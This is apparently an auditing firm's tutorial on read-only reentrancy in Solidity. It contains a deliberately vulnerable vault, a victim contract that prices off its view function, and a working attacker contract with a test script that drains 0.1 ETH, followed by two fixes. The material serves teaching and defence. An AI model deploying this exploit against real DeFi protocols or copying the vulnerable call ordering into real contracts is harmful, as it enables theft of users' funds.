A read-only reentrancy attack uses the view function and reentrancy feature to manipulate smart contracts and extract value. The view function returns the value in the middle of state changes, which allows the attacker to manipulate the token price. Let’s take a closer look at this vulnerability and how to prevent it.

Other reentrancy attacks include:

These reentrancy example blogs describe attacks on general functions. But in a read-only reentrancy attack, the vulnerabilities are in the view function.

In this attack, the victim contract depends on the view function of the vulnerable contract and it decides the price by that view function.

This is an example of a vulnerable contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";


contract VulnVault is ReentrancyGuard {

    uint256 private totalTokens;
    uint256 private totalStake;

    mapping (address => uint256) public balances;

    error ReadonlyReentrancy();

    function getCurrentPrice() public view returns (uint256) {
        if(totalTokens == 0 || totalStake == 0) return 10e18;
        return totalTokens * 10e18 / totalStake;
    }

    function deposit() public payable nonReentrant {
        uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
        totalStake += msg.value;
        balances[msg.sender] += mintAmount;
        totalTokens += mintAmount;
    }

    function withdraw(uint256 burnAmount) public nonReentrant { 
        uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
        totalStake -= sendAmount;
        balances[msg.sender] -= burnAmount;
        (bool success, ) = msg.sender.call{value: sendAmount}("");
        require(success, "Failed to send Ether"); 
        totalTokens -= burnAmount;
    }
}

We already have the nonReentrant modifier for all public, non-view functions. That prevents reentrancy attacks within this contract. Additionally, we prevent reentrancy by checking the value before writing after the external call related to the burnAmount. This ensures that reentrancy is not possible within this contract.

However, if the getCurrentPrice function is called at the external call of withdrawal, the getCurrentPrice function returns a different value. Since at that moment the totalTokens value is different from the actual, this is a problem. Furthermore, if the getCurrentPrice function is called during the external call of withdraw, it may return a different value. This discrepancy arises because the totalTokens value is not accurate at that moment, leading to potential issues.

If a pool works similarly, using the getCurrentPrice function, that function might return a higher value than the actual price. This is problematic.

This is the victim contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./VulnVault.sol";


contract VictimVault is ReentrancyGuard {
    VulnVault vulnVault;

    mapping (address => uint256) public balances;

    constructor(address vulnVaultAddress) {
        vulnVault = VulnVault(vulnVaultAddress);
    }

    function deposit() public payable nonReentrant {
        uint256 tokenAmount = msg.value * vulnVault.getCurrentPrice() / 10e18;
        balances[msg.sender] += tokenAmount;
    }

    function withdraw(uint256 tokenAmount) public nonReentrant {
        balances[msg.sender] -= tokenAmount;
        uint256 ethAmount = tokenAmount * 10e18 / vulnVault.getCurrentPrice();
        (bool success, ) = msg.sender.call{value: ethAmount}("");
        require(success, "Failed to send Ether"); 
    }
}

the ethAmount depends on vulnVault.getCurrentPrice in the withdraw function.

And also the deposit function of the tokenAmount depends on vulnVault.getCurrentPrice.

so if the vulnVault.getCurrentPrice is different from the actual value, the attacker can get benefits.

Example of a read-only reentrancy attack

If we do as follows:

  1. Call VulnVault.withdraw.
  2. In the external call, call the VictimVault.deposit function

The vulnVault.getCurrentPrice returns an incorrect value, moreover bigger than the actual value since totalTokens is still not updated. Because the calculation inside of getCurrentPrice is computed by totalTokens * 10e18 / totalStake, the numerator has a larger value.

Therefore, by calling the VictimVault.deposit function in the external call, an attacker can benefit.

Attacker contract

This is the attack contract:

// SPDX-License-Identifier:  None
pragma solidity 0.8.20;

import "./VictimVault.sol";
import "./VulnVault.sol";


contract Attacker {

    VulnVault public vulnVault;

    VictimVault public victimVault;

    uint256 public counter;

    constructor(address vulnerable_pool, address victim_pool) payable {
        vulnVault = VulnVault(vulnerable_pool);
        victimVault = VictimVault(victim_pool);
        counter = 0;
    }

    function attack() public {
        vulnVault.deposit{value: 1e18}();
        vulnVault.withdraw(1e18);
        uint256 balance = victimVault.balances(address(this));
        victimVault.withdraw(balance);
    }

    receive() external payable {
        if(counter == 0){
            counter++;
            victimVault.deposit{value: 1e18}(); 
        }
    }
}

Exploit of a read-only reentrancy attack

from wake.testing import *

from pytypes.contracts.readonlyreentrancy.VictimVault import VictimVault
from pytypes.contracts.readonlyreentrancy.VulnVault import VulnVault
from pytypes.contracts.readonlyreentrancy.Attacker import Attacker

@default_chain.connect()
def test_default():
    print("---------------------Read Only Reentrancy---------------------")
    vuln_pool = VulnVault.deploy() 
    victim_pool = VictimVault.deploy(vuln_pool.address)
    vuln_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user
    victim_pool.deposit(value="10 ether", from_=default_chain.accounts[2]) # general user

    attacker = Attacker.deploy(vuln_pool.address, victim_pool.address,value="1 ether", from_=default_chain.accounts[0])

    print("Vault balance:    ", victim_pool.balance)
    print("Attacker balance: ", attacker.balance)
    
    print("---------------------attack---------------------")
    tx = attacker.attack()
    print(tx.call_trace)

    print("Vault balance:    ", victim_pool.balance)   
    print("Attacker balance: ", attacker.balance)

This is the output of Wake, our Ethereum testing framework. We can see the Vault balance changed from 10 ETH to 9.9 ETH. The attacker balance changed from 1 ETH to 1.1 ETH.

How to prevent a read-only reentrancy attack?

Use ReentrancyGuard

A simple reentrancy guard alone cannot prevent this attack. However, setting additional checks with a reentrancy guard can effectively prevent this type of attack.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";


contract VulnVault is ReentrancyGuard {

    uint256 private totalTokens;
    uint256 private totalStake;

    mapping (address => uint256) public balances;

    error ReadonlyReentrancy();

    function getCurrentPrice() public view returns (uint256) {
        if(_reentrancyGuardEntered()){
            revert ReadonlyReentrancy();
        }
        if(totalTokens == 0 || totalStake == 0) return 10e18;
        return totalTokens * 10e18 / totalStake;
    }

    function deposit() public payable nonReentrant {
        uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
        totalStake += msg.value;
        balances[msg.sender] += mintAmount;
        totalTokens += mintAmount;
    }

    function withdraw(uint256 burnAmount) public nonReentrant { 
        uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
        totalStake -= sendAmount;
        balances[msg.sender] -= burnAmount;
        (bool success, ) = msg.sender.call{value: sendAmount}("");
        require(success, "Failed to send Ether"); 
        totalTokens -= burnAmount;
    }
}

CEI (checks-effects-interactions)

This prevention solves the cause of the vulnerability, because it makes the necessary state change before the external call. So, including the view function, it returns a trusted value even if it is called recursively.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";


contract VulnVault is ReentrancyGuard {

    uint256 private totalTokens;
    uint256 private totalStake;

    mapping (address => uint256) public balances;

    error ReadonlyReentrancy();

    function getCurrentPrice() public view returns (uint256) {
        if(totalTokens == 0 || totalStake == 0) return 10e18;
        return totalTokens * 10e18 / totalStake;
    }

    function deposit() public payable nonReentrant {
        uint256 mintAmount = msg.value * getCurrentPrice() / 10e18;
        totalStake += msg.value;
        balances[msg.sender] += mintAmount;
        totalTokens += mintAmount;
    }

    function withdraw(uint256 burnAmount) public nonReentrant { 
        uint256 sendAmount = burnAmount * 10e18 / getCurrentPrice();
        totalStake -= sendAmount;
        balances[msg.sender] -= burnAmount;
        totalTokens -= burnAmount;
        (bool success, ) = msg.sender.call{value: sendAmount}("");
        require(success, "Failed to send Ether"); 
    }
}

Conclusion

This is an example of a read-only reentrancy attack. In this contract, the vulnerability is trivial. However, in real-world projects, these vulnerabilities are often more subtle and complex, hidden within complex contract interactions and state management. Understanding this attack vector lets you identify similar patterns in more sophisticated DeFi protocols where price oracle manipulations or stale state readings could lead to significant financial losses.

We have a Reentrancy Examples Github Repository with several other types of reentrancy attacks, including attack examples, protocol-specific reentrancies, and prevention methods. Read them below to learn how to secure your protocol.